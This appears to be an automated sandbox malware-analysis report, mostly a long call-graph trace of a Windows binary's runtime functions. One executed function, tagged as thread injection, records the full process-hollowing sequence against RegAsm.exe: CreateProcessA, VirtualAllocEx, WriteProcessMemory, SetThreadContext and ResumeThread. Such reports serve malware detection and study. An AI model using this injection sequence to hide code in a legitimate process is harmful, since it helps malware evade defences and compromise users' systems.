695e7d 21060->21065 21120 6962b1 70 API calls 21061->21120 21064 696159 70 API calls 21062->21064 21067 695ea5 21064->21067 21115 696159 21065->21115 21066 695e4b 21068 696159 70 API calls 21066->21068 21121 6962b1 70 API calls 21067->21121 21068->21065 21069 695d75 std::ios_base::_Ios_base_dtor 21069->21057 21119 69817a 69 API calls 3 library calls 21069->21119 21075 695f64 21123 6968ad 41 API calls _Deallocate 21075->21123 21077 695f70 21124 6968d3 41 API calls 21077->21124 21079 695f79 21125 69d408 5 API calls ___raise_securityfailure 21079->21125 21081 695f8a 21126 6989dc 21082->21126 21086 692cde 21087 692cf1 21086->21087 21145 69546d 72 API calls 3 library calls 21086->21145 21138 698a34 21087->21138 21090 692d27 21090->21053 21091 692d01 21092 692d08 21091->21092 21093 692d2d 21091->21093 21146 699cfb 43 API calls codecvt 21092->21146 21147 69678c 43 API calls 2 library calls 21093->21147 21096 692d32 21152 69194e 21097->21152 21099 6931b0 21100 692e9e 21099->21100 21101 6989dc std::_Lockit::_Lockit 7 API calls 21100->21101 21102 692eaf 21101->21102 21103 69400a int 9 API calls 21102->21103 21104 692ec2 21103->21104 21105 692ed5 21104->21105 21161 6955f2 74 API calls 2 library calls 21104->21161 21106 698a34 std::_Lockit::~_Lockit 2 API calls 21105->21106 21107 692f0b 21106->21107 21107->21069 21109 692ee5 21110 692eec 21109->21110 21111 692f11 21109->21111 21162 699cfb 43 API calls codecvt 21110->21162 21163 69678c 43 API calls 2 library calls 21111->21163 21114 692f16 21116 695f34 21115->21116 21117 696164 21115->21117 21122 6962b1 70 API calls 21116->21122 21117->21116 21164 693d38 70 API calls 21117->21164 21119->21069 21120->21066 21121->21065 21122->21075 21123->21077 21124->21079 21125->21081 21127 6989eb 21126->21127 21128 6989f2 21126->21128 21148 6a593c 6 API calls 2 library calls 21127->21148 21130 692ccb 21128->21130 21149 69cb8d EnterCriticalSection 21128->21149 21132 69400a 21130->21132 21133 69403a 21132->21133 21134 694016 21132->21134 21133->21086 21135 6989dc std::_Lockit::_Lockit 7 API calls 21134->21135 21136 694020 21135->21136 21137 698a34 std::_Lockit::~_Lockit 2 API calls 21136->21137 21137->21133 21139 6a594a 21138->21139 21140 698a3e 21138->21140 21151 6a5925 LeaveCriticalSection 21139->21151 21141 698a51 21140->21141 21150 69cb9b LeaveCriticalSection 21140->21150 21141->21090 21144 6a5951 21144->21090 21145->21091 21146->21087 21147->21096 21148->21130 21149->21130 21150->21141 21151->21144 21153 6919c3 21152->21153 21156 69195f 21152->21156 21160 696a6c 43 API calls std::_Throw_Cpp_error 21153->21160 21158 691966 21156->21158 21159 696ac6 43 API calls Concurrency::cancel_current_task 21156->21159 21158->21099 21161->21109 21162->21105 21163->21114 21164->21117 21165 305018d 21166 30501c5 CreateProcessA VirtualAlloc Wow64GetThreadContext ReadProcessMemory VirtualAllocEx 21165->21166 21168 30503a2 WriteProcessMemory 21166->21168 21169 30503e7 21168->21169 21170 30503ec WriteProcessMemory 21169->21170 21171 3050429 WriteProcessMemory Wow64SetThreadContext ResumeThread 21169->21171 21170->21169 21172 6986c1 21173 6986c9 21172->21173 21174 6986d1 21173->21174 21176 69c375 21173->21176 21177 69c397 21176->21177 21178 69c3a0 21176->21178 21191 69d408 5 API calls ___raise_securityfailure 21177->21191 21178->21177 21181 69c3e0 21178->21181 21183 69c406 21178->21183 21180 69c402 21180->21174 21188 69baef 21181->21188 21184 69c461 21183->21184 21186 69c442 21183->21186 21184->21177 21192 6a7436 21184->21192 21186->21177 21187 69baef _Fputc 45 API calls 21186->21187 21187->21177 21198 6a7bbd 21188->21198 21191->21180 21193 6a7449 _Fputc 21192->21193 21264 6a7215 21193->21264 21195 6a745e 21272 6a198b 41 API calls _Fputc 21195->21272 21197 6a746b 21197->21177 21199 6a7bd0 _Fputc 21198->21199 21204 6a79c1 21199->21204 21203 69bafd 21203->21177 21205 6a79cd __FrameHandler3::FrameUnwindToState 21204->21205 21206 6a79f9 21205->21206 21207 6a79d4 21205->21207 21216 6a2b17 EnterCriticalSection 21206->21216 21239 6a1bd2 41 API calls 3 library calls 21207->21239 21210 6a7a08 21217 6a7a85 21210->21217 21214 6a79ef 21215 6a198b 41 API calls _Fputc 21214->21215 21215->21203 21216->21210 21218 6a7abc 21217->21218 21223 6a7aaa _Fputc 21217->21223 21241 6aea5f 21218->21241 21220 6a7ac3 21221 6aea5f _Ungetc 41 API calls 21220->21221 21226 6a7aeb 21220->21226 21224 6a7ad4 21221->21224 21258 69d408 5 API calls ___raise_securityfailure 21223->21258 21224->21226 21228 6aea5f _Ungetc 41 API calls 21224->21228 21225 6a7a19 21240 6a7a49 LeaveCriticalSection __fread_nolock 21225->21240 21226->21223 21227 6aea5f _Ungetc 41 API calls 21226->21227 21229 6a7b1e 21227->21229 21230 6a7ae0 21228->21230 21232 6aea5f _Ungetc 41 API calls 21229->21232 21238 6a7b41 21229->21238 21231 6aea5f _Ungetc 41 API calls 21230->21231 21231->21226 21233 6a7b2a 21232->21233 21235 6aea5f _Ungetc 41 API calls 21233->21235 21233->21238 21236 6a7b36 21235->21236 21237 6aea5f _Ungetc 41 API calls 21236->21237 21237->21238 21238->21223 21248 6ae751 21238->21248 21239->21214 21240->21214 21242 6aea6b 21241->21242 21243 6aea80 21241->21243 21259 6a647e 14 API calls __dosmaperr 21242->21259 21243->21220 21245 6aea70 21260 6a1c4f 41 API calls __strnicoll 21245->21260 21247 6aea7b 21247->21220 21249 6ae766 21248->21249 21250 6ae7a7 21249->21250 21256 6ae76a __fread_nolock _Fputc 21249->21256 21257 6ae793 __fread_nolock 21249->21257 21261 6a2840 41 API calls _Fputc 21249->21261 21250->21256 21250->21257 21262 6b21fc WideCharToMultiByte 21250->21262 21254 6ae862 21255 6ae878 GetLastError 21254->21255 21254->21256 21255->21256 21255->21257 21256->21223 21257->21256 21263 6a1bd2 41 API calls 3 library calls 21257->21263 21258->21225 21259->21245 21260->21247 21261->21250 21262->21254 21263->21256 21265 6a724b 21264->21265 21266 6a7223 21264->21266 21265->21195 21266->21265 21267 6a7252 21266->21267 21268 6a7230 21266->21268 21273 6a716e 21267->21273 21281 6a1bd2 41 API calls 3 library calls 21268->21281 21272->21197 21274 6a717a __FrameHandler3::FrameUnwindToState 21273->21274 21282 6a2b17 EnterCriticalSection 21274->21282 21276 6a7188 21283 6a71c9 21276->21283 21280 6a71a6 21280->21195 21281->21265 21282->21276 21291 6aead6 21283->21291 21290 6a71bd LeaveCriticalSection __fread_nolock 21290->21280 21311 6aea9b 21291->21311 21293 6aeae7 21294 6a71e1 21293->21294 21317 6adbb9 21293->21317 21298 6a728c 21294->21298 21299 6a71ff 21298->21299 21302 6a729e 21298->21302 21307 6aeb82 21299->21307 21300 6a72ac 21345 6a1bd2 41 API calls 3 library calls 21300->21345 21302->21299 21302->21300 21303 6a72e2 _Yarn _Fputc 21302->21303 21303->21299 21305 6aea5f _Ungetc 41 API calls 21303->21305 21346 6a6823 21303->21346 21352 6b0828 21303->21352 21305->21303 21308 6aeb8d 21307->21308 21309 6a7195 21307->21309 21308->21309 21310 6a6823 ___scrt_uninitialize_crt 66 API calls 21308->21310 21309->21290 21310->21309 21313 6aeaa7 21311->21313 21312 6aeac8 21312->21293 21313->21312 21314 6aea5f _Ungetc 41 API calls 21313->21314 21315 6aeac2 21314->21315 21330 6b83d3 21315->21330 21318 6adbf7 21317->21318 21323 6adbc7 __dosmaperr 21317->21323 21343 6a647e 14 API calls __dosmaperr 21318->21343 21319 6adbe2 RtlAllocateHeap 21321 6adbf5 21319->21321 21319->21323 21324 6acb79 21321->21324 21323->21318 21323->21319 21342 6a865b EnterCriticalSection LeaveCriticalSection codecvt 21323->21342 21325 6acbae 21324->21325 21326 6acb84 HeapFree 21324->21326 21325->21294 21326->21325 21327 6acb99 GetLastError 21326->21327 21328 6acba6 __dosmaperr 21327->21328 21344 6a647e 14 API calls __dosmaperr 21328->21344 21331 6b83e0 21330->21331 21333 6b83ed 21330->21333 21339 6a647e 14 API calls __dosmaperr 21331->21339 21335 6b83f9 21333->21335 21340 6a647e 14 API calls __dosmaperr 21333->21340 21334 6b83e5 21334->21312 21335->21312 21337 6b841a 21341 6a1c4f 41 API calls __strnicoll 21337->21341 21339->21334 21340->21337 21341->21334 21342->21323 21343->21321 21344->21325 21345->21299 21347 6a683c 21346->21347 21348 6a6863 21346->21348 21347->21348 21349 6aea5f _Ungetc 41 API calls 21347->21349 21348->21303 21350 6a6858 21349->21350 21351 6b0828 ___scrt_uninitialize_crt 66 API calls 21350->21351 21351->21348 21354 6b0834 __FrameHandler3::FrameUnwindToState 21352->21354 21353 6b08f8 21393 6a1bd2 41 API calls 3 library calls 21353->21393 21354->21353 21356 6b0889 21354->21356 21362 6b083c 21354->21362 21363 6b3c45 EnterCriticalSection 21356->21363 21358 6b088f 21359 6b08ac 21358->21359 21364 6b0930 21358->21364 21392 6b08f0 LeaveCriticalSection ___scrt_uninitialize_crt 21359->21392 21362->21303 21363->21358 21365 6b0955 21364->21365 21389 6b0978 __fread_nolock 21364->21389 21366 6b0959 21365->21366 21368 6b09b7 21365->21368 21408 6a1bd2 41 API calls 3 library calls 21366->21408 21369 6b09ce 21368->21369 21409 6b2090 43 API calls __fread_nolock 21368->21409 21394 6b04b4 21369->21394 21373 6b0a1e 21377 6b0a32 21373->21377 21378 6b0a81 WriteFile 21373->21378 21374 6b09de 21375 6b0a08 21374->21375 21376 6b09e5 21374->21376 21411 6b007a 47 API calls 5 library calls 21375->21411 21376->21389 21410 6b044c 6 API calls ___scrt_uninitialize_crt 21376->21410 21381 6b0a3a 21377->21381 21382 6b0a6f 21377->21382 21380 6b0aa3 GetLastError 21378->21380 21391 6b0a19 21378->21391 21380->21391 21383 6b0a3f 21381->21383 21384 6b0a5d 21381->21384 21401 6b0532 21382->21401 21387 6b0a48 21383->21387 21383->21389 21413 6b06f6 8 API calls 3 library calls 21384->21413 21412 6b060d 7 API calls 2 library calls 21387->21412 21389->21359 21391->21389 21392->21362 21393->21362 21395 6b83d3 __fread_nolock 41 API calls 21394->21395 21396 6b04c6 21395->21396 21397 6b04f4 21396->21397 21400 6b0527 21396->21400 21414 6a2840 41 API calls _Fputc 21396->21414 21399 6b050e GetConsoleMode 21397->21399 21397->21400 21399->21400 21400->21373 21400->21374 21406 6b0541 ___scrt_uninitialize_crt 21401->21406 21402 6b05f2 21415 69d408 5 API calls ___raise_securityfailure 21402->21415 21404 6b060b 21404->21389 21405 6b05b1 WriteFile 21405->21406 21407 6b05f4 GetLastError 21405->21407 21406->21402 21406->21405 21407->21402 21408->21389 21409->21369 21410->21389 21411->21391 21412->21389 21413->21391 21414->21397 21415->21404 21416 69d5c0 21417 69d5cc __FrameHandler3::FrameUnwindToState 21416->21417 21442 69d178 21417->21442 21419 69d5d3 21420 69d72c 21419->21420 21429 69d5fd ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock __purecall 21419->21429 21473 69da85 4 API calls 2 library calls 21420->21473 21422 69d733 21466 6a8b99 21422->21466 21426 69d741 21427 69d61c 21429->21427 21432 69d69d 21429->21432 21469 6a564b 41 API calls 4 library calls 21429->21469 21431 69d6a3 21457 6988ee 21431->21457 21453 6a9160 21432->21453 21434 69d6ba 21470 69db9f GetModuleHandleW 21434->21470 21436 69d6c4 21436->21422 21437 69d6c8 21436->21437 21438 69d6d1 21437->21438 21471 6a8b4e 23 API calls __purecall 21437->21471 21472 69d2e9 77 API calls ___scrt_uninitialize_crt 21438->21472 21441 69d6da 21441->21427 21443 69d181 21442->21443 21475 69d865 IsProcessorFeaturePresent 21443->21475 21445 69d18d 21476 6a03fc 10 API calls 2 library calls 21445->21476 21447 69d192 21452 69d196 21447->21452 21477 6a95b6 21447->21477 21449 69d1ad 21449->21419 21452->21419 21454 6a9169 21453->21454 21455 6a916e 21453->21455 21490 6a8eba 55 API calls 21454->21490 21455->21431 21491 69d4a2 21457->21491 21459 6988fa FreeConsole 21460 69d0bf codecvt 43 API calls 21459->21460 21461 69890b 21460->21461 21462 698924 codecvt 21461->21462 21492 693271 21461->21492 21462->21434 21771 6a8981 21466->21771 21469->21432 21470->21436 21471->21438 21472->21441 21473->21422 21474 6a8b5d 23 API calls __purecall 21474->21426 21475->21445 21476->21447 21481 6b3902 21477->21481 21480 6a041b 7 API calls 2 library calls 21480->21452 21482 6b3912 21481->21482 21483 69d19f 21481->21483 21482->21483 21485 6ada7d 21482->21485 21483->21449 21483->21480 21486 6ada84 21485->21486 21487 6adac7 GetStdHandle 21486->21487 21488 6adb29 21486->21488 21489 6adada GetFileType 21486->21489 21487->21486 21488->21482 21489->21486 21490->21455 21491->21459 21504 69894c 21492->21504 21495 69d0bf codecvt 43 API calls 21496 69328b 21495->21496 21497 6932a0 21496->21497 21508 692925 21496->21508 21516 6982af 21497->21516 21501 6932b8 21501->21462 21503 6944b1 72 API calls shared_ptr 21501->21503 21503->21462 21505 69895e 21504->21505 21525 69889d 21505->21525 21595 692c22 21508->21595 21510 692939 shared_ptr 21598 6a580b 21510->21598 21512 692966 21513 69296f 21512->21513 21613 699b67 43 API calls 2 library calls 21512->21613 21513->21497 21517 6982ba GetCurrentThreadId 21516->21517 21522 6982c4 21516->21522 21518 6982c8 21517->21518 21517->21522 21764 6996f8 WaitForSingleObjectEx 21518->21764 21523 6932ab 21522->21523 21770 699b67 43 API calls 2 library calls 21522->21770 21523->21501 21524 69460c 41 API calls 2 library calls 21523->21524 21524->21501 21526 6988b2 _swprintf 21525->21526 21529 6a508b 21526->21529 21530 6a509f _Fputc 21529->21530 21531 6a50c1 21530->21531 21533 6a50e8 21530->21533 21546 6a1bd2 41 API calls 3 library calls 21531->21546 21538 6a2b3f 21533->21538 21535 6a50dc 21547 6a198b 41 API calls _Fputc 21535->21547 21537 693284 21537->21495 21539 6a2b4b __FrameHandler3::FrameUnwindToState 21538->21539 21548 6a2b17 EnterCriticalSection 21539->21548 21541 6a2b59 21549 6a38d2 21541->21549 21545 6a2b77 21545->21535 21546->21535 21547->21537 21548->21541 21550 6aead6 42 API calls 21549->21550 21551 6a38f9 _swprintf 21550->21551 21561 6a3b1a 21551->21561 21556 6aeb82 66 API calls 21557 6a395a 21556->21557 21579 69d408 5 API calls ___raise_securityfailure 21557->21579 21559 6a2b66 21560 6a2b8e LeaveCriticalSection __fread_nolock 21559->21560 21560->21545 21580 6a4e2d 21561->21580 21564 6a3b43 21586 6a1bd2 41 API calls 3 library calls 21564->21586 21565 6a3940 21576 6a3894 21565->21576 21571 6a3b6e _swprintf 21571->21565 21572 6a3d4b 21571->21572 21587 6a2840 41 API calls _Fputc 21571->21587 21588 6a3aa2 41 API calls _swprintf 21571->21588 21589 6a40a6 46 API calls 2 library calls 21571->21589 21590 6a4362 46 API calls 2 library calls 21571->21590 21591 6a1bd2 41 API calls 3 library calls 21572->21591 21574 6a3d67 21592 6a1bd2 41 API calls 3 library calls 21574->21592 21577 6acb79 ___free_lconv_mon 14 API calls 21576->21577 21578 6a38a4 21577->21578 21578->21556 21579->21559 21581 6a4e5a 21580->21581 21582 6a4e38 21580->21582 21594 6a4e96 41 API calls 2 library calls 21581->21594 21593 6a1bd2 41 API calls 3 library calls 21582->21593 21585 6a3b35 21585->21564 21585->21565 21585->21571 21586->21565 21587->21571 21588->21571 21589->21571 21590->21571 21591->21574 21592->21565 21593->21585 21594->21585 21596 69d0bf codecvt 43 API calls 21595->21596 21597 692c29 21596->21597 21597->21510 21599 6a5818 21598->21599 21600 6a582c 21598->21600 21623 6a647e 14 API calls __dosmaperr 21599->21623 21614 6a57bb 21600->21614 21604 6a581d 21624 6a1c4f 41 API calls __strnicoll 21604->21624 21605 6a5841 CreateThread 21607 6a586c 21605->21607 21608 6a5860 GetLastError 21605->21608 21645 6a56af 21605->21645 21626 6a572d 21607->21626 21625 6a6424 14 API calls 2 library calls 21608->21625 21609 6a5828 21609->21512 21634 6acb1c 21614->21634 21617 6acb79 ___free_lconv_mon 14 API calls 21618 6a57d9 21617->21618 21619 6a57fd 21618->21619 21620 6a57e0 GetModuleHandleExW 21618->21620 21621 6a572d 16 API calls 21619->21621 21620->21619 21622 6a5805 21621->21622 21622->21605 21622->21607 21623->21604 21624->21609 21625->21607 21627 6a5739 21626->21627 21628 6a575d 21626->21628 21629 6a5748 21627->21629 21630 6a573f CloseHandle 21627->21630 21628->21512 21631 6a574e FreeLibrary 21629->21631 21632 6a5757 21629->21632 21630->21629 21631->21632 21633 6acb79 ___free_lconv_mon 14 API calls 21632->21633 21633->21628 21635 6acb29 21634->21635 21636 6acb69 21635->21636 21637 6acb54 HeapAlloc 21635->21637 21640 6acb3d __dosmaperr 21635->21640 21644 6a647e 14 API calls __dosmaperr 21636->21644 21638 6acb67 21637->21638 21637->21640 21641 6a57cc 21638->21641 21640->21636 21640->21637 21643 6a865b EnterCriticalSection LeaveCriticalSection codecvt 21640->21643 21641->21617 21643->21640 21644->21641 21646 6a56bb __FrameHandler3::FrameUnwindToState 21645->21646 21647 6a56cf 21646->21647 21648 6a56c2 GetLastError ExitThread 21646->21648 21659 6ab350 GetLastError 21647->21659 21654 6a56eb 21691 6a588e 21654->21691 21660 6ab36c 21659->21660 21661 6ab366 21659->21661 21684 6ab370 SetLastError 21660->21684 21701 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21660->21701 21700 6ad59b 6 API calls std::_Locinfo::_Locinfo_dtor 21661->21700 21664 6ab388 21666 6acb1c __dosmaperr 14 API calls 21664->21666 21664->21684 21667 6ab39d 21666->21667 21670 6ab3b6 21667->21670 21671 6ab3a5 21667->21671 21668 6a56d4 21686 6aebc0 21668->21686 21669 6ab405 21706 6a1f23 41 API calls __purecall 21669->21706 21703 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21670->21703 21702 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21671->21702 21676 6ab3c2 21677 6ab3dd 21676->21677 21678 6ab3c6 21676->21678 21705 6ab17e 14 API calls __dosmaperr 21677->21705 21704 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21678->21704 21681 6acb79 ___free_lconv_mon 14 API calls 21681->21684 21682 6ab3e8 21685 6acb79 ___free_lconv_mon 14 API calls 21682->21685 21683 6ab3b3 21683->21681 21684->21668 21684->21669 21685->21684 21687 6aebd2 GetPEB 21686->21687 21690 6a56df 21686->21690 21688 6aebe5 21687->21688 21687->21690 21707 6ad40d 21688->21707 21690->21654 21698 6ad7e7 5 API calls std::_Locinfo::_Locinfo_dtor 21690->21698 21725 6a5764 21691->21725 21698->21654 21700->21660 21701->21664 21702->21683 21703->21676 21704->21683 21705->21682 21710 6ad34a 21707->21710 21711 6ad378 21710->21711 21716 6ad374 21710->21716 21711->21716 21717 6ad27f 21711->21717 21714 6ad392 GetProcAddress 21715 6ad3a2 std::_Locinfo::_Locinfo_dtor 21714->21715 21714->21716 21715->21716 21716->21690 21723 6ad290 ___vcrt_InitializeCriticalSectionEx 21717->21723 21718 6ad2ae LoadLibraryExW 21720 6ad2c9 GetLastError 21718->21720 21721 6ad32d 21718->21721 21719 6ad326 21719->21714 21719->21716 21720->21723 21721->21719 21722 6ad33f FreeLibrary 21721->21722 21722->21719 21723->21718 21723->21719 21724 6ad2fc LoadLibraryExW 21723->21724 21724->21721 21724->21723 21734 6ab4a1 GetLastError 21725->21734 21727 6a57b1 ExitThread 21728 6a5788 21731 6a579b 21728->21731 21732 6a5794 CloseHandle 21728->21732 21729 6a576f 21729->21727 21729->21728 21757 6ad822 5 API calls std::_Locinfo::_Locinfo_dtor 21729->21757 21731->21727 21733 6a57a7 FreeLibraryAndExitThread 21731->21733 21732->21731 21733->21727 21735 6ab4bd 21734->21735 21736 6ab4b7 21734->21736 21740 6ab4c1 SetLastError 21735->21740 21759 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21735->21759 21758 6ad59b 6 API calls std::_Locinfo::_Locinfo_dtor 21736->21758 21739 6ab4d9 21739->21740 21742 6acb1c __dosmaperr 12 API calls 21739->21742 21740->21729 21743 6ab4ee 21742->21743 21744 6ab4f6 21743->21744 21745 6ab507 21743->21745 21760 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21744->21760 21761 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21745->21761 21748 6ab513 21749 6ab52e 21748->21749 21750 6ab517 21748->21750 21763 6ab17e 14 API calls __dosmaperr 21749->21763 21762 6ad5da 6 API calls std::_Locinfo::_Locinfo_dtor 21750->21762 21752 6acb79 ___free_lconv_mon 12 API calls 21752->21740 21754 6ab504 21754->21752 21755 6ab539 21756 6acb79 ___free_lconv_mon 12 API calls 21755->21756 21756->21740 21757->21728 21758->21735 21759->21739 21760->21754 21761->21748 21762->21754 21763->21755 21765 69970f 21764->21765 21766 699741 21764->21766 21767 69972c FindCloseChangeNotification 21765->21767 21768 699716 GetExitCodeThread 21765->21768 21766->21522 21767->21766 21768->21766 21769 699727 21768->21769 21769->21767 21772 6a89ae 21771->21772 21773 6a89c0 21771->21773 21798 6a8a49 GetModuleHandleW 21772->21798 21783 6a882a 21773->21783 21776 6a89b3 21776->21773 21799 6a8aae GetModuleHandleExW 21776->21799 21778 69d739 21778->21474 21781 6a8a12 21784 6a8836 __FrameHandler3::FrameUnwindToState 21783->21784 21805 6a58dd EnterCriticalSection 21784->21805 21786 6a8840 21806 6a8896 21786->21806 21788 6a884d 21810 6a886b 21788->21810 21791 6a8a18 21815 6a8a8c 21791->21815 21794 6a8a36 21796 6a8aae __purecall 3 API calls 21794->21796 21795 6a8a26 GetCurrentProcess TerminateProcess 21795->21794 21797 6a8a3e ExitProcess 21796->21797 21798->21776 21800 6a8b0e 21799->21800 21801 6a8aed GetProcAddress 21799->21801 21802 6a89bf 21800->21802 21803 6a8b14 FreeLibrary 21800->21803 21801->21800 21804 6a8b01 21801->21804 21802->21773 21803->21802 21804->21800 21805->21786 21807 6a88a2 __FrameHandler3::FrameUnwindToState 21806->21807 21809 6a8909 __purecall 21807->21809 21813 6a9421 14 API calls 3 library calls 21807->21813 21809->21788 21814 6a5925 LeaveCriticalSection 21810->21814 21812 6a8859 21812->21778 21812->21791 21813->21809 21814->21812 21820 6aec04 6 API calls __purecall 21815->21820 21817 6a8a91 21818 6a8a22 21817->21818 21819 6a8a96 GetPEB 21817->21819 21818->21794 21818->21795 21819->21818 21820->21817 21821 6983c2 CreateThread WaitForSingleObject 21822 6986f5 21821->21822 21823 693136 std::_Throw_Cpp_error 43 API calls 21822->21823 21824 698714 21823->21824 21825 69d0bf codecvt 43 API calls 21824->21825 21826 69871b 21825->21826 21827 69872b VirtualAlloc 21826->21827 21842 6932bd 46 API calls 2 library calls 21826->21842 21839 692a29 21827->21839 21832 69875d 21844 696cb1 99 API calls 21832->21844 21834 698762 _Yarn 21845 6968ad 41 API calls _Deallocate 21834->21845 21836 69879f 21846 69d408 5 API calls ___raise_securityfailure 21836->21846 21838 6987ab 21847 692a40 70 API calls 21839->21847 21841 692a38 21843 6987e9 43 API calls 21841->21843 21842->21827 21843->21832 21844->21834 21845->21836 21846->21838 21847->21841 21848 6aec35 21849 6aea5f _Ungetc 41 API calls 21848->21849 21852 6aec42 21849->21852 21850 6aec4e 21851 6aec9a 21851->21850 21854 6aea9b 41 API calls 21851->21854 21859 6aecfc 21851->21859 21852->21850 21852->21851 21871 6aefcb 43 API calls __fread_nolock 21852->21871 21857 6aecef 21854->21857 21857->21859 21872 6b20ae 14 API calls 2 library calls 21857->21872 21860 6aee25 21859->21860 21861 6aea5f _Ungetc 41 API calls 21860->21861 21862 6aee34 21861->21862 21863 6aeeda 21862->21863 21864 6aee47 21862->21864 21865 6b0828 ___scrt_uninitialize_crt 66 API calls 21863->21865 21866 6aee64 21864->21866 21869 6aee8b 21864->21869 21868 6aed0d 21865->21868 21867 6b0828 ___scrt_uninitialize_crt 66 API calls 21866->21867 21867->21868 21869->21868 21873 6b1ff2 45 API calls _Fputc 21869->21873 21871->21851 21872->21859 21873->21868

                                                              Executed Functions

                                                              Function 0305018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282threadinjectionmemoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,030500FF,030500EF), ref: 030502FC
                                                              • VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0305030F
                                                              • Wow64GetThreadContext.KERNEL32(00000124,00000000), ref: 0305032D
                                                              • ReadProcessMemory.KERNELBASE(0000009C,?,03050143,00000004,00000000), ref: 03050351
                                                              • VirtualAllocEx.KERNELBASE(0000009C,?,?,00003000,00000040), ref: 0305037C
                                                              • WriteProcessMemory.KERNELBASE(0000009C,00000000,?,?,00000000,?), ref: 030503D4
                                                              • WriteProcessMemory.KERNELBASE(0000009C,00400000,?,?,00000000,?,00000028), ref: 0305041F
                                                              • WriteProcessMemory.KERNELBASE(0000009C,?,?,00000004,00000000), ref: 0305045D
                                                              • Wow64SetThreadContext.KERNEL32(00000124,03060000), ref: 03050499
                                                              • ResumeThread.KERNELBASE(00000124), ref: 030504A8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1727317491.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Offset: 03050000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_3050000_file.jbxd
                                                              Similarity
                                                              • API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
                                                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
                                                              • API String ID: 2687962208-1257834847
                                                              • Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
                                                              • Instruction ID: 048f2a14694ad5d708d920b6293ba52613b601779c3524c171e66d40f9b6e565
                                                              • Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
                                                              • Instruction Fuzzy Hash: C2B1F67264124AAFDB60CF68CC80BDA77A9FF88714F158564FA0CAB341D770FA418B94
                                                              Function 006AEBC0 Relevance: .0, Instructions: 29COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: a12965fae06e94f9c14ee7a2501f03623fe29198abf2bcf214ea378b0dc5b749
                                                              • Instruction ID: e55a89696676f265962483ca939814f1d0b67b622f587bc8a58da655f40a0caf
                                                              • Opcode Fuzzy Hash: a12965fae06e94f9c14ee7a2501f03623fe29198abf2bcf214ea378b0dc5b749
                                                              • Instruction Fuzzy Hash: 7CF03031A107349FCB26EB4CD509E9A73A9EF46B61F11409AE502D7290C674DD40DFE0
                                                              Function 006AD27F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 23 6ad27f-6ad28b 24 6ad31d-6ad320 23->24 25 6ad290-6ad2a1 24->25 26 6ad326 24->26 28 6ad2ae-6ad2c7 LoadLibraryExW 25->28 29 6ad2a3-6ad2a6 25->29 27 6ad328-6ad32c 26->27 32 6ad2c9-6ad2d2 GetLastError 28->32 33 6ad32d-6ad33d 28->33 30 6ad2ac 29->30 31 6ad346-6ad348 29->31 35 6ad31a 30->35 31->27 36 6ad30b-6ad318 32->36 37 6ad2d4-6ad2e6 call 6aafd8 32->37 33->31 34 6ad33f-6ad340 FreeLibrary 33->34 34->31 35->24 36->35 37->36 40 6ad2e8-6ad2fa call 6aafd8 37->40 40->36 43 6ad2fc-6ad309 LoadLibraryExW 40->43 43->33 43->36
                                                              APIs
                                                              • FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,D6EB77FD,?,006AD38C,?,?,?,00000000), ref: 006AD340
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: FreeLibrary
                                                              • String ID: api-ms-$ext-ms-
                                                              • API String ID: 3664257935-537541572
